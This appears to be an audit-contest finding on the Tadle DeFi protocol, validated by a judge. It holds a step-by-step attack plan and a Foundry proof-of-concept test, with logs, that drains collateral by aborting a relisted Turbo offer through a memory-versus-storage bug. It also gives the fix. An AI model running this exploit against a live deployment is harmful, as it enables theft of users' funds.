Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Malicious user can drain protocol by bypassing `ASK` offer abortion validation in `Turbo` mode

0xb0k0

Summary

Tadle allows users to seamlessly trade points with collateral tokens. Sellers provide points guarded with deposited collateral, and buyers provide collateral with which they buy the set points. Users can also close or abort their offers if they decide that they no longer want to continue trading. When an offer is closed, it can then be re-listed with the same parameters. When an offer is aborted, it can't be relisted anymore. In the Protected mode, as there is only a single level of relisting, offers can be aborted at any time, however, in Turbo mode if an offer is re-listed, the initial offer cannot be aborted, as it provides the initial collateral for all subsequent listing. Due to an invalid use of memory instead of storage, this invariant can be broken.

Vulnerability Details

Whenever an ASK offer is re-listed, the initial offer's abortOfferStatus is set to AbortOfferStatus.SubOfferListed so that it can no longer be aborted, as this offer is the main collateral provider for all subsequent listing. However, the current code logic uses memory instead of storage to apply this state change, meaning that the new state will not be preserved after the function call ends:

function listOffer(
address _stock,
uint256 _amount,
uint256 _collateralRate
) external payable {
__SNIP__
​
/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
@> OfferInfo memory originOfferInfo = offerInfoMap[originOffer]; // state won't be preserved
​
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}
​
__SNIP__
}

Because of this, a malicious user can set up and drain protocol in three steps:

  1. One user creates three separate accounts.

  2. He/She creates an ASK offer in Turbo mode for 1000 points, at 1e18 amount and 15_000 collateral. There will be an initial collateral deposit of 15e17.

  3. He then accepts the ASK offer with his/her second account. He will deposit the required amount to buy the tokens - 1e18 + taxes. The initial account will have a SalesRevenue balance of 1e18 now.

  4. The new BID stock is relisted as an ASK offer, but this time the user does not need to provide collateral.

  5. He/She then uses his 3rd account to take the ASK offer. He/She deposits 1e18 with taxes. The second account now has SalesRevenue of 1e18`.

  6. The user now calls PreMarkets::abortAskOffer(...) with his initial offer ID, meaning that the initial offer can no longer be settled. The initial account also receives 5e17 which is the overhead of his initial offer creation.

  7. He then settles the second offer with 0 settled points.

  8. He finally calls PreMarkets::closeBidTaker(...), which refunds the initial collateral of 15e17.

  9. When the user combines his funds he acquired ~0.5 ether - 4.9e17 due to platform tax. What is more, he gets to keep his points as well.

The below PoC shows how the exploit can occur. For the sake of the test, I have fixed the issue with the invalid point token address being passed when assigning PointTokenBalance to users. I have described this issue in my other issue Users can drain the protocol by withdrawing collateral instead of points due to invalid point token address in DeliveryPlace::closeBidTaker(...) and DeliveryPlace::settleAskTaker(...). I have fixed the PreMarkets.sol contract name as it was PreMarktes. I also use a helper function added in TokenManager.sol:

function getUserAccountBalance(address _accountAddress, address _tokenAddress, TokenBalanceType _tokenBalanceType)
external
view
returns (uint256)
{
return userTokenBalanceMap[_accountAddress][_tokenAddress][_tokenBalanceType];
}

The following test can be run by adding the snippets in PreMarkets.t.sol and running forge test --mt testImproperStateChange -vv. I am using the following setup for the tests:

Set-up
function setUp() public {
// deploy mocks
weth9 = new WETH9();
​
TadleFactory tadleFactory = new TadleFactory(user1);
​
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
​
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarkets preMarketsLogic = new PreMarkets();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
​
bytes memory deploy_data = abi.encodeWithSelector(INITIALIZE_OWNERSHIP_SELECTOR, user1);
vm.startPrank(user1);
​
address systemConfigProxy =
tadleFactory.deployUpgradeableProxy(1, address(systemConfigLogic), bytes(deploy_data));
​
address preMarketsProxy = tadleFactory.deployUpgradeableProxy(2, address(preMarketsLogic), bytes(deploy_data));
address deliveryPlaceProxy =
tadleFactory.deployUpgradeableProxy(3, address(deliveryPlaceLogic), bytes(deploy_data));
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(4, address(capitalPoolLogic), bytes(deploy_data));
address tokenManagerProxy =
tadleFactory.deployUpgradeableProxy(5, address(tokenManagerLogic), bytes(deploy_data));
​
vm.stopPrank();
// attach logic
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarkets = PreMarkets(preMarketsProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
​
vm.startPrank(user1);
// initialize
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
​
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
​
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
​
// create market place
systemConfig.createMarketPlace("Backpack", false);
systemConfig.updateMarket("Backpack", address(mockUSDCToken), 0.01 * 1e18, block.timestamp - 1, 3600);
vm.stopPrank();
​
deal(address(mockUSDCToken), user, 10000 * 10 ** 18);
deal(address(mockPointToken), user, 10000 * 10 ** 18);
deal(user, 100 * 10 ** 18);
​
deal(address(mockUSDCToken), user1, 10000 * 10 ** 18);
deal(address(mockUSDCToken), user2, 10000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 10000 * 10 ** 18);
​
deal(address(mockPointToken), user2, 10000 * 10 ** 18);
deal(address(mockPointToken), user3, 10000 * 10 ** 18);
​
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
​
vm.warp(1719826275);
​
vm.prank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(user);
mockPointToken.approve(address(tokenManager), type(uint256).max);
​
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
​
vm.startPrank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
​
capitalPool.approve(address(mockUSDCToken));
capitalPool.approve(address(mockPointToken));
​
deal(address(mockUSDCToken), address(capitalPool), 10000 * 10 ** 18); // deal some additional collateral amount so that the protocol has enough to handle transactions
}
​
PoC
function testImproperStateChange() public {
uint256 initialCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
​
console.log("User token balance before all:", mockUSDCToken.balanceOf(user));
console.log("User point token balance before all:", mockPointToken.balanceOf(user));
console.log("User point token balance before all:", mockUSDCToken.balanceOf(user));
console.log("User2 token balance before all:", mockUSDCToken.balanceOf(user2));
console.log("User2 point token balance before all:", mockPointToken.balanceOf(user2));
console.log("User3 token balance before all:", mockUSDCToken.balanceOf(user3));
console.log("User3 point token balance before all:", mockPointToken.balanceOf(user3));
​
console.log("--------------------");
​
console.log("Capital pool balance before all:", mockUSDCToken.balanceOf(address(capitalPool)));
console.log("Capital pool point token balance before all:", mockPointToken.balanceOf(address(capitalPool)));
console.log("Token manager balance before all:", mockUSDCToken.balanceOf(address(tokenManager)));
console.log("Token manager point token balance before all:", mockPointToken.balanceOf(address(tokenManager)));
​
console.log("--------------------");
​
vm.prank(user);
preMarkets.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 1e18, 15000, 300, OfferType.Ask, OfferSettleType.Turbo
)
); // user wants to sell 1000 points, so he/she provides 15e17 collateral
​
address offerAddrUserTurbo = GenerateAddress.generateOfferAddress(0);
vm.prank(user2);
preMarkets.createTaker(offerAddrUserTurbo, 1000); // the same user uses a second account to buy the points, provides 1e18 collateral + tax
​
address stockAddrUser2Turbo = GenerateAddress.generateStockAddress(1);
vm.prank(user2);
preMarkets.listOffer(stockAddrUser2Turbo, 1e18, 15000); // user2 lists the points for sale, and does not provide collateral as it is in Turbo mode
​
address offerAddrUser2Turbo = GenerateAddress.generateOfferAddress(1);
vm.prank(user3);
preMarkets.createTaker(offerAddrUser2Turbo, 1000); // the same user uses a third account to buy the points, provides 1e18 collateral + tax
​
uint256 capitalPoolBalanceBeforeAbort = initialCapitalPoolBalance + 357e16; // total capital pool balance after the malicious user actions
​
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), capitalPoolBalanceBeforeAbort); // Capital Pool at the end of the malicious user actions
​
address stockAddrUserTurbo = GenerateAddress.generateStockAddress(0);
vm.prank(user);
preMarkets.abortAskOffer(stockAddrUserTurbo, offerAddrUserTurbo); // the initial offer is now aborted, and user is refunded 5e17 collateral
​
vm.prank(user1);
systemConfig.updateMarket("Backpack", address(mockPointToken), 1e18, block.timestamp - 1, 3600);
​
vm.prank(user1);
systemConfig.updateMarketPlaceStatus("Backpack", MarketPlaceStatus.AskSettling);
​
vm.prank(user);
vm.expectRevert(IDeliveryPlace.InvalidOfferStatus.selector);
deliveryPlace.settleAskMaker(offerAddrUserTurbo, 0);
​
vm.prank(user2);
deliveryPlace.settleAskMaker(offerAddrUser2Turbo, 0); // user2 settles the offer, but does not provide any points
​
vm.prank(user3);
address stockAddr2User2Turbo = GenerateAddress.generateStockAddress(2);
deliveryPlace.closeBidTaker(stockAddr2User2Turbo); // when user 3 closes the bid, he/she gets the full original collatera of 15e17
​
console.log("--------------------");
​
console.log(
"Capital pool balance before malicious user withdraw:", mockUSDCToken.balanceOf(address(capitalPool))
);
console.log(
"Capital pool point token balance before malicious user withdraw:",
mockPointToken.balanceOf(address(capitalPool))
);
console.log(
"Token manager balance after before malicious user withdraw:",
mockUSDCToken.balanceOf(address(tokenManager))
);
console.log(
"Token manager point token balance before malicious user withdraw:",
mockPointToken.balanceOf(address(tokenManager))
);
​
console.log("--------------------");
​
console.log(
"User tax income",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User sales revenue",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User point token with point token address",
tokenManager.getUserAccountBalance(user, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User maker refund",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User remianing cash",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
​
console.log("--------------------");
​
console.log(
"User2 tax income",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User2 sales revenue",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User2 point token with point token address",
tokenManager.getUserAccountBalance(user2, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User2 maker refund",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User2 remianing cash",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
​
console.log("--------------------");
​
console.log(
"User3 tax income",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User3 sales revenue",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User3 point token with point token address",
tokenManager.getUserAccountBalance(user3, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User3 maker refund",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User3 remianing cash",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
​
uint256 maliciousUserProceedsFromAttack = tokenManager.getUserAccountBalance(
user, address(mockUSDCToken), TokenBalanceType.TaxIncome
) + tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
+ tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.MakerRefund)
+ tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
+ tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.RemainingCash);
​
assertEq(maliciousUserProceedsFromAttack, 406e16);
​
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
​
vm.startPrank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
​
vm.startPrank(user3);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
​
console.log("User point token balance after user withdraw:", mockPointToken.balanceOf(user));
console.log("User token balance after user withdraw:", mockUSDCToken.balanceOf(user));
console.log("User2 token balance after after user withdraw:", mockUSDCToken.balanceOf(user2));
console.log("User2 point token balance after user withdraw:", mockPointToken.balanceOf(user2));
console.log("User3 token balance after after user withdraw:", mockUSDCToken.balanceOf(user3));
console.log("User3 point token balance after user withdraw:", mockPointToken.balanceOf(user3));
​
console.log("--------------------");
​
console.log("Capital pool balance after user withdraw:", mockUSDCToken.balanceOf(address(capitalPool)));
console.log(
"Capital pool point token balance after user withdraw:", mockPointToken.balanceOf(address(capitalPool))
);
console.log("Token manager balance after after user withdraw:", mockUSDCToken.balanceOf(address(tokenManager)));
console.log(
"Token manager point token balance after user withdraw:", mockPointToken.balanceOf(address(tokenManager))
);
​
console.log("--------------------");
​
assertEq(maliciousUserProceedsFromAttack - 357e16, 490000000000000000); // User has gained ~0.5 ether and has kept all his points
}
Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] testImproperStateChange() (gas: 1703054)
Logs:
User token balance before all: 10000000000000000000000
User point token balance before all: 10000000000000000000000
User point token balance before all: 10000000000000000000000
User2 token balance before all: 10000000000000000000000
User2 point token balance before all: 10000000000000000000000
User3 token balance before all: 10000000000000000000000
User3 point token balance before all: 10000000000000000000000
--------------------
Capital pool balance before all: 10000000000000000000000
Capital pool point token balance before all: 0
Token manager balance before all: 0
Token manager point token balance before all: 0
--------------------
--------------------
Capital pool balance before malicious user withdraw: 10003570000000000000000
Capital pool point token balance before malicious user withdraw: 0
Token manager balance after before malicious user withdraw: 0
Token manager point token balance before malicious user withdraw: 0
--------------------
User tax income 60000000000000000
User sales revenue 1000000000000000000
User point token with point token address 0
User maker refund 500000000000000000
User remianing cash 0
--------------------
User2 tax income 0
User2 sales revenue 1000000000000000000
User2 point token with point token address 0
User2 maker refund 0
User2 remianing cash 0
--------------------
User3 tax income 0
User3 sales revenue 0
User3 point token with point token address 0
User3 maker refund 0
User3 remianing cash 1500000000000000000
User point token balance after user withdraw: 10000000000000000000000
User token balance after user withdraw: 10000060000000000000000
User2 token balance after after user withdraw: 9999965000000000000000
User2 point token balance after user withdraw: 10000000000000000000000
User3 token balance after after user withdraw: 10000465000000000000000
User3 point token balance after user withdraw: 10000000000000000000000
--------------------
Capital pool balance after user withdraw: 9999510000000000000000
Capital pool point token balance after user withdraw: 0
Token manager balance after after user withdraw: 0
Token manager point token balance after user withdraw: 0
--------------------
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.67ms (2.83ms CPU time)
​
Ran 1 test suite in 160.58ms (13.67ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

A malicious user can drain the protocol.

Tools Used

Manual review

Recommendations

Use storage over memory when the state needs to be preserved after the function call ends.

@@ -334,7 +334,7 @@ contract PreMarktes is PerMarketsStorage, Rescuable, Related, IPerMarkets {
/// @dev change abort offer status when offer settle type is turbo
if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
- OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
+ OfferInfo storage originOfferInfo = offerInfoMap[originOffer];
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
Updates

Lead Judging Commences

0xnevi Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-originIOfferInfo-storage-memory

Valid high severity, because the `abortOfferStatus` of the offer is not updated and persist through `storage` when listing an offer for turbo mode within the `offerInfoMap` mapping, it allows premature abortion given the `abortOfferStatus` defaults to `Initialized`, allowing the bypass of this [check](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L552-L557) here and allow complete refund of initial collateral + stealing of trade tax which can potentially be gamed for profits using multiple addresses

Appeal created

karanel Auditor
11 months ago
0xnevi Lead Judge
10 months ago
0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-listOffer-originIOfferInfo-storage-memory

Valid high severity, because the `abortOfferStatus` of the offer is not updated and persist through `storage` when listing an offer for turbo mode within the `offerInfoMap` mapping, it allows premature abortion given the `abortOfferStatus` defaults to `Initialized`, allowing the bypass of this [check](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L552-L557) here and allow complete refund of initial collateral + stealing of trade tax which can potentially be gamed for profits using multiple addresses

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.